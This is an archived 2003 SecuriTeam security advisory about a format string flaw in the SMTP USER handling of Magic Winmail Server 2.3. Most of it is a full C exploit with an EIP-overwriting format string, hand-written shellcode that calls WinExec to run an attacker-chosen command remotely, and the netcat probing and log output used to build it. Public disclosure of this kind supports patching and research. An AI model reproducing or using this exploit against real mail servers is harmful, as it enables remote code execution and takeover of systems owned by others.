

[EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0009.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 06/09/03

To: list@securiteam.com

Date: 9 Jun 2003 18:07:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,
or call 617-399-6980

Magic Winmail Server Format String Vulnerability (Exploit)

SUMMARY

Magic Winmail Server is "a professional and easy-use mail server software, supporting SMTP, POP3, WebMail, Anti-virus, multiple domains, SMTP authentication, remote control, spam filter, user and domain alias, quotas, mail group, and mail route". A format string vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable systems:

* Magic Winmail Server version 2.3

By sending a format string in the USER field during the authentication process, a remote attacker can cause the server to execute arbitrary code.

Securiteam: [EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

Exploit:

```
/******  
* Magic Winmail Server 2.3(Build 0402)  
* Remote Format string exploit.  
*****  
* Discovered by D4rkGr3y  
* -----  
* Coded by ThreaT.  
* ThreaT@Ifrance.com  
* -----  
*  
* This is the remote format string exploit  
* for Magic Winmail Server 2.3(Build 0402)  
*  
* This one take advantage of a format bug in the  
* >>> SMTP protocol <<<< (not pop3) for execute  
* a malicious command on a vulnerable system  
*  
* usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]  
* + The command to execute cannot exceed 90 characters +  
*  
* compile : cl.exe mwmxploit.c /w  
*  
*****  
le piratage c'est mal; et quand c'est mal, c'est pas bien.  
*/
```

```
#include <windows.h>
```

```
#include <winsock.h>
```

```
#pragma comment (lib, "wsock32.lib")
```

```
void main (int argc, char *argv[])
```

```
{
```

```
    SOCKET sock;
```

```
    char buffer[1000];
```

```
    int i;
```

```
    // ecrasement d'un saved EIP grâce aux caractères de format :)
```

```
    char vuln[] =
```

```
        "\\xec\\xfc\\x66\\x01%x%x"
```

```
        "\\xed\\xfc\\x66\\x01%x%x"
```

```
        "\\xee\\xfc\\x66\\x01"
```

```
        "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x28x%n"
```

```
        "%97x%n%105x%hn"
```

```
/*
```

Securiteam: [EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

This is my specific shellcode for execute a command over the Magic Winmail process.

This one can contain null bytes, enjoy ! :)

Disassembly of File: mailserver.exe

Code Offset = 00001000, Code Size = 000CF000

Data Offset = 000EC000, Data Size = 0002E000

Reference To: KERNEL32.GetModuleHandleA, Ord:0000h
:004B8850 FF15AC014D00 Call dword ptr [004D01AC]

Reference To: KERNEL32.ExitProcess, Ord:0000h
:004B88C6 FF1598014D00 Call dword ptr [004D0198]

Reference To: KERNEL32.GetProcAddress, Ord:0000h
:00406CE7 8B3DEC004D00 mov edi, dword ptr [004D00EC]

////////////////////////////////// My shellcode //////////////////////////////////////

```
: EB50 jmp 00401058
: 5E pop esi
: 8BEC mov ebp, esp
: 83EC28 sub esp, 00000028 // je cree un stack de bourrin
: C745D84B65726E mov [ebp-28], 6E72654B
: C745DC656C3332 mov [ebp-24], 32336C65 // j'y place 'Kernel32'
: C745E000000000 mov [ebp-20], 00000000
: C745E457696E45 mov [ebp-1C], 456E6957
: C745E878656300 mov [ebp-18], 00636578 // ici 'WinExec'
```

// adaptez le shellcode en virant cette ligne si vraiment vous avez besoin

// de 4 caractères de plus pour la commande à executer

```
: C645EB00 mov [ebp-15], 00
```

```
: BAAC014D00 mov edx, 004D01AC
: 8D45D8 lea eax, dword ptr [ebp-28]
: 50 push eax
: FF12 call dword ptr [edx] // eax = GetModuleHandle ("Kernel32");
: 8D5DE4 lea ebx, dword ptr [ebp-1C]
: 53 push ebx
: 50 push eax
: BAEC004D00 mov edx, 004D00EC
: FF12 call dword ptr [edx] // GetProcAddress (eax, "WinExec");
: 6A01 push 00000001 // 1 = SW_SHOW, 0 = SW_HIDE :)
: 56 push esi
: FFD0 call eax // WinExec (argv[2], SW_SHOW)
: BA98014D00 mov edx, 004D0198
: FF12 call dword ptr [edx] // ExitProcess ();
```

Securiteam: [EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

: E8ABFFFFFF call 00401008

```
//////////////////////////////////// EOF //////////////////////////////////////
```

```
*/
```

```
// Generated by Hex Workshop
```

```
// shellcode.exe – Starting Offset: 4102 (0x00001006) Length: 87
```

```
(0x00000057)
```

```
"\x00\x90\x90\x90\x90" // sa, c'est pour bien coller  
"\xEB\x50\x5E\x8B\xEC\x83\xEC\x28\xC7\x45\xD8\x4B\x65\x72\x6E\xC7"  
"\x45\xDC\x65\x6C\x33\x32\xC7\x45\xE0\x00\x00\x00\x00\xC7\x45\xE4"  
"\x57\x69\x6E\x45\xC7\x45\xE8\x78\x65\x63\x00\xC6\x45\xEB\x00\xBA"  
"\xAC\x01\x4D\x00\x8D\x45\xD8\x50\xFF\x12\x8D\x5D\xE4\x53\x50\xBA"  
"\xEC\x00\x4D\x00\xFF\x12\x6A\x01\x56\xFF\xD0\xBA\x98\x01\x4D\x00"  
"\xFF\x12\xE8\xAB\xFF\xFF\xFF";
```

```
SOCKADDR_IN sin;
```

```
WSADATA wsadata;
```

```
WORD wVersionRequested = MAKEWORD (2,0);
```

```
// sa, c'est pour ce la péter
```

```
printf ("* ##### *\n"
```

```
" Magic Winmail Server 2.3(Build 0402)\n"
```

```
" Remote format string exploit !\n"
```

```
"* ##### *\n"
```

```
" Coded By ThreaT -> ThreaT@Ifrance.com\n\n");
```

```
if (argc < 3 || strlen (argv[2]) > 90)
```

```
{
```

```
printf ("usage : mwmxploit <Target IP> <command to execute remotely>
```

```
[smtp port]\n\n"
```

```
" + The command to execute cannot exceed 90 characters +\n");
```

```
ExitProcess (0);
```

```
}
```

```
if ( WSStartup(wVersionRequested, &wsadata) )
```

```
{
```

```
printf ("Erreur d'initialisation winsock !\n");
```

```
ExitProcess (1);
```

```
}
```

```
sin.sin_family = AF_INET;
```

```
sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25);
```

```
if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
```

```
{
```

```
printf ("Erreur : L'adresse IP de la victime est incorrect !\n");
```

```
ExitProcess (2);
```

Securiteam: [EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

```
}

printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port
));

sock = socket (AF_INET, SOCK_STREAM, 0);
if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) )
{
    printf ("erreur : connexion impossible !\n");
    ExitProcess (3);
}

recv (sock,buffer,1000,0);

printf ("ok\n-> %s\nsending exploit code...",buffer);

send (sock, vuln, strlen (vuln) + 92, 0); // envoi du shellcode
send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande
send (sock, "\r\n", 2, 0); // validation

recv (sock,buffer,1000,0); // remote crash :)

puts ("ok");
}
```

/*

Esprit curieux, tu te demande sur quoi je me suis basé pour pisser
ce bout de code hideux ?

```
D:\toolz\netcat>nc 127.0.0.1 25
220 M1 Magic Winmail Server 2.3(Build 0402) ESMTP ready
AAAA 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
0x%.8x
x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
0x%.8x 0
x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
0x%.8x
502 unimplemented (#5.5.1)
*/
```

/*

```
D:\>type "c:\Program Files\Magic Winmail\server\logs\smtp.log"
0906/Y-01:50:30 1548 Connect from 127.0.0.1
0906/Y-01:51:06 1584 unrecognized command = AAAA 0x00498f71 0x0176fd10
0x0176fe3c 0x000000eb 0x0176ff80 0x00ee6c80 0x00000050 0x00ee60d9
0x00000102
0x0000011f 0x00000050 0x00eecf71 0x0000001c 0x0000001f 0x0176ff74
0x004cd2c0
0x00000001 0x00493e40 0x0176fd50 0x00000000 0x00ee5ea8 0x00ee5ea8
0x41414141
```

Securiteam: [EXPL] Magic Winmail Server Format String Vulnerability (Exploit)

0x25783020 0x2078382e 0x2e257830 0x30207838 0x382e2578 0x78302078
0x78382e25
0x25783020 0x2078382e 0x2e257830

voila, tout est la :)

*/

ADDITIONAL INFORMATION

The vulnerability was discovered by <mailto:grey_1999@mail.ru> D4rkGr3y,
the exploit code was provided by <mailto:ThreaT@ifrance.com> ThreaT.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.